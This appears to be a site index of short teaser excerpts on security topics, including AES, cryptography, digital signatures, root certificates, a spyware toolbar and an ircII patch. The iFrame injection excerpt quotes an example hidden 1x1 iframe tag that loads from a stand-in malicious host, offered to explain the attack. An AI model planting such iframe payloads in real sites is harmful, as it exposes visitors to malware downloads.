AES (Advanced Encryption Standard) is a symmetric cipher defined in Federal Information Processing (FIPS) Standard Number 197 in 2001 as the federal government approved encryption algorithm. The NSA has approved 128-bit AES for use up to SECRET level and 192-bit AES for use up to TOP SECRET level. AES is based upon the Rijndael algorithm, which was invented by Joan Daemen and Vincent Rijmen. AES specifies three approved key lengths: 128-bits, 192-bits and 256-bits. Nicolas Courtois maintains an excellent web page on the current state of attacks on AES.   Read More

Personal RFID tracking units are personal tracking units that depend on RFID or Radio Frequency Identification technology. Personal RFID tracking units allow users to identify and locate objects and individuals within a specific facility or area. Although personal RFID tracking units are not as popular or as common as other forms of personal tracking units and are rarely integrated into other devices such as GPS, they can be used for many of the same purposes. While personal RFID tracking units can be used in a wide range of applications, they Read More

Cryptography is the study and practice of encoding data using transformation techniques so that it can only be decoded by specific users. In simpler words, it is a theory of secret writing. Practitioners of cryptography are known as cryptographers. Cryptography is the technique of using mathematics, computer science and engineering to encrypt and decrypt information. It facilitates a user to store vital information or send it across insecure networks (like the Internet) so that it cannot be interpreted by any user except the intentional receiver. While cryptography is the technique Read More

An iFrame injection is a very common cross site scripting (or XSS) attack. It consists of one or more iFrame tags that have been inserted into a page or post’s content and typically downloads an executable program or conducts other actions that compromise the site visitors’ computers. In the best case, Google may label the site “malicious.” The worst case is that the site owner and visitors end up with malware infected computers. iFrame Injection Examples A basic iFrame injection may be something as simple as: <iframe src=”http://www.badwebsite.com/inject/?s=some-parameters” width=”1″ height=”1″ Read More

A digital signature is a mathematical technique that is used to validate the authenticity of a message, webpage, or other document. Digital signatures can be used to give the reader reason to believe that the message or document was sent from the party the file claims it was sent from and that the document was not altered or intercepted during transit. Digital signatures range in structure and use and may be held to varying legal responsibilities, depending on the country in which it was signed and received.   How Digital Read More

To change your tmnet password, visit the tmnet e-view Home Page. In the upper right side of the page, you will see a sign-in field (it’s orange and says “SIGN IN HERE”). Click on it and it will take you to the next page where you will enter your Username and Password. After this, click “LOG IN”. You will be directed to your account. Select “CHANGE PASSWORD”. Make sure you don’t forget your new password. However, if that happens, you will still be able to access your account. It is Read More

An excerpt from Hackers: Heroes of the Computer Revolution by Steven Levy: Access to computers – and anything which might teach you something about the way the world works – should be unlimited and total. Always yield to the Hands-On imperative. All information should be free. Mistrust Authority. Promote Decentralization. Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position. You can create art and beauty on a computer. Computers can change your life for the better.

A Root Certificate is a self-signed certificate or an unsigned public key certificate which forms an important part of the PKI (public key infrastructure). The most common commercial type of root certificates is based on the ISO X.509 standard. Such a certificate (a X.509 certificate) usually carries the digital signature of a certification authority (CA), which is the authorized body for validating the embedded data. In most enterprise-scale public key infrastructure systems, certificate chains prove or verify the identity of a party. When the certificate is issued by a certification Read More

My Web Search is a malware toolbar distributed by Mindspark Interactive Network via their extensive network of spam sites, most of which are targeted towards young people.  This rapidly expanding list of sites includes Zwinky, Zwinky Cuties, GirlSense, Webfetti, Kazula, iWon, SmileyCentral, MyFunCards, CursorMania, and CardBoiled. These sites trick people, mainly children, into installing the My Web Search toolbar. The toolbar is spyware.  Mindspark admit as much in their EULA (End User License Agreement): “The My Web Search Toolbar, in the course of processing a given search query, sends a Read More

Note: This FAQ answer was written by someone else, but I do not know who. If you know who originally wrote this, please e-mail me. Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows: /NEWUSER <new_username> [new_IRCNAME] <new_username> is a new username to use and is required [new_IRCNAME] is a new IRCNAME string to use and is optional This will disconnect you from your server and reconnect using the new information Read More